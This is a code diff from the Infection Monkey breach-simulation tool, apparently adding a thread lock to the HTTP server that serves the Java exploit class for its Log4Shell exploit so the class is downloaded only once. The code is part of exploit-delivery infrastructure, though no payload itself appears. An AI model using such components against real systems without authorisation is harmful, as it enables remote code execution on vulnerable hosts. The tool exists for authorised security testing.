diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 9b82de1d6..6b956529b 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -14,15 +14,25 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler):
 
     java_class: bytes
     class_downloaded: threading.Event
+    download_lock: threading.Lock
+
+    @classmethod
+    def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
+        cls.java_class = java_class
+        cls.class_downloaded = class_downloaded
+        cls.download_lock = threading.Lock()
 
     def do_GET(self):
-        if HTTPHandler.class_downloaded.is_set():
-            self.send_error(
-                HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded"
-            )
-            return
+        with HTTPHandler.download_lock:
+            if HTTPHandler.class_downloaded.is_set():
+                self.send_error(
+                    HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+                    "Java exploit class has already been downloaded",
+                )
+                return
+
+            HTTPHandler.class_downloaded.set()
 
-        HTTPHandler.class_downloaded.set()
         logger.info("Java class servergot a GET request!")
         self.send_response(200)
         self.send_header("Content-type", "application/octet-stream")
@@ -52,7 +62,7 @@ class ExploitClassHTTPServer:
         self._class_downloaded = threading.Event()
         self._poll_interval = poll_interval
 
-        self._initialize_http_handler(java_class)
+        HTTPHandler.initialize(java_class, self._class_downloaded)
 
         self._server = http.server.HTTPServer((ip, port), HTTPHandler)
         # Setting `daemon=True` to save ourselves some trouble when this is merged to the
@@ -63,10 +73,6 @@ class ExploitClassHTTPServer:
             target=self._server.serve_forever, args=(self._poll_interval,), daemon=True
         )
 
-    def _initialize_http_handler(self, java_class: bytes):
-        HTTPHandler.java_class = java_class
-        HTTPHandler.class_downloaded = self._class_downloaded
-
     def run(self):
         """
         Runs the HTTP server in the background and blocks until the server has started.